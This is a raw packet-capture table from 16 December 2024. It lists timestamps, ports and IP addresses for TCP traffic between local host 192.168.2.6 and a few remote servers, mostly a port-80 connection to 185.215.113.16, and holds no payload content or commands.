Dec 16, 2024 15:02:35.704485893 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:35.704508066 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.705369949 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.705394983 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.735840082 CET	49947	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.736007929 CET	443	49947	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.747335911 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:35.749403000 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.749440908 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:35.749465942 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.749480009 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:35.749512911 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.749532938 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:35.763398886 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.763416052 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.763545036 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.763922930 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.764107943 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.764173031 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.766413927 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.766555071 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.766685009 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.768465996 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.768532991 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.768559933 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.769342899 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.770730972 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.770807981 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.770936012 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.773024082 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.773124933 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.773169041 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.778155088 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.778171062 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.778234005 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.778629065 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.778794050 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.778800964 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.778970003 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.780162096 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.780178070 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.780260086 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.783128023 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.783235073 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.783277035 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.783466101 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.785428047 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.785444021 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.785465956 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.785478115 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.786597967 CET	443	49955	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:35.786667109 CET	49955	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.787668943 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.787729025 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.787811041 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.787856102 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.789974928 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.789988995 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.790113926 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.792483091 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.792496920 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.792574883 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.794410944 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.794572115 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.794945002 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.796700954 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.796833992 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.796843052 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.797173023 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.799231052 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.799246073 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.799336910 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.801219940 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.801259041 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.801362991 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.801456928 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.801456928 CET	49955	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.801548004 CET	443	49955	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:35.801655054 CET	49955	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:35.803512096 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.803600073 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.803673029 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.803714037 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.805686951 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.805836916 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.805876970 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.806026936 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.808036089 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.808108091 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.808221102 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.808283091 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.810360909 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.810375929 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.810688019 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.812702894 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.812875032 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.812875032 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.813350916 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.814809084 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.814970970 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.815057039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.815057039 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.816117048 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.816173077 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.816194057 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.816250086 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.818326950 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.818373919 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.818378925 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.818412066 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.820641994 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.820830107 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.821063995 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.821300030 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.822916031 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.822985888 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.823096037 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.825691938 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.825756073 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.825839996 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.825916052 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.827424049 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.827508926 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.827536106 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.827604055 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.828912020 CET	49943	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.829021931 CET	443	49943	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.829104900 CET	49943	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.831557989 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.831572056 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.831599951 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.831661940 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.833089113 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.833236933 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.833241940 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.833465099 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.835297108 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.835371017 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.835441113 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.835803986 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.837554932 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.837721109 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.837888956 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.838188887 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.839812040 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.839824915 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.839937925 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.842067957 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.842221975 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.842243910 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.844413042 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.844575882 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.844598055 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.845290899 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.846607924 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.846760988 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.847009897 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.848990917 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.849004984 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.849147081 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.851304054 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.851325035 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.851378918 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.853463888 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.853634119 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.853696108 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.855756044 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.855770111 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.855863094 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.858407974 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.858421087 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.858540058 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.860279083 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.860292912 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.860363007 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.862530947 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.862678051 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.862700939 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.862891912 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.864854097 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.865025997 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.865247011 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.865247011 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.867089987 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.867224932 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.867253065 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.868346930 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.868443966 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.868577003 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.869266033 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.872145891 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.872158051 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.872298956 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.873850107 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.877337933 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.943337917 CET	443	49947	172.217.21.36	192.168.2.6
Dec 16, 2024 15:02:35.943401098 CET	49947	443	192.168.2.6	172.217.21.36
Dec 16, 2024 15:02:35.955199957 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.955280066 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.955295086 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.955558062 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.956190109 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.956301928 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.956321955 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.956593037 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.957880974 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.957922935 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.957995892 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.960005045 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.960062027 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.960079908 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.960129976 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.961961031 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.962009907 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.962079048 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.962079048 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.964016914 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.964184046 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.964322090 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.966031075 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.966252089 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.966276884 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.966351986 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.968024969 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.968143940 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.968166113 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.968221903 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.969966888 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.970027924 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.970099926 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.970151901 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.972067118 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.972121000 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.972141027 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.972201109 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.973726034 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.973793983 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.973834991 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.973902941 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.975753069 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.975881100 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.976042032 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.976042986 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.977374077 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.977442026 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.977475882 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.977655888 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.979178905 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.979306936 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.979340076 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.979899883 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.981045008 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.981141090 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.981152058 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.981308937 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.982716084 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.982791901 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.982829094 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.983037949 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.984837055 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.984921932 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.984971046 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.984971046 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.986263037 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.986278057 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.986327887 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.986327887 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.987900972 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.987958908 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.987981081 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.988075972 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.989725113 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.989810944 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.989825964 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.990184069 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.991343975 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.991487026 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.991504908 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.991563082 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.993160009 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.993206978 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.993258953 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.993318081 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.994659901 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.994744062 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.994745016 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.994800091 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.996354103 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.996464968 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.996923923 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.997103930 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.997944117 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.998110056 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.998164892 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.998164892 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.999732971 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.999747992 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:35.999952078 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:35.999952078 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.001238108 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.001306057 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.001738071 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.001738071 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.002829075 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.002907038 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.003081083 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.003159046 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.004430056 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.004549026 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.004678965 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.004678965 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.006083012 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.006122112 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.006156921 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.006213903 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.007745028 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.007842064 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.007849932 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.008112907 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.009464979 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.009571075 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.009670973 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.009670973 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.010991096 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.011089087 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.011142015 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.011142015 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.012810946 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.012895107 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.012948990 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.013021946 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.015119076 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.015132904 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.015178919 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.015219927 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.016935110 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.017035961 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.017106056 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:36.017213106 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:36.019305944 CET	80	49938	185.215.113.16	192.168.2.6
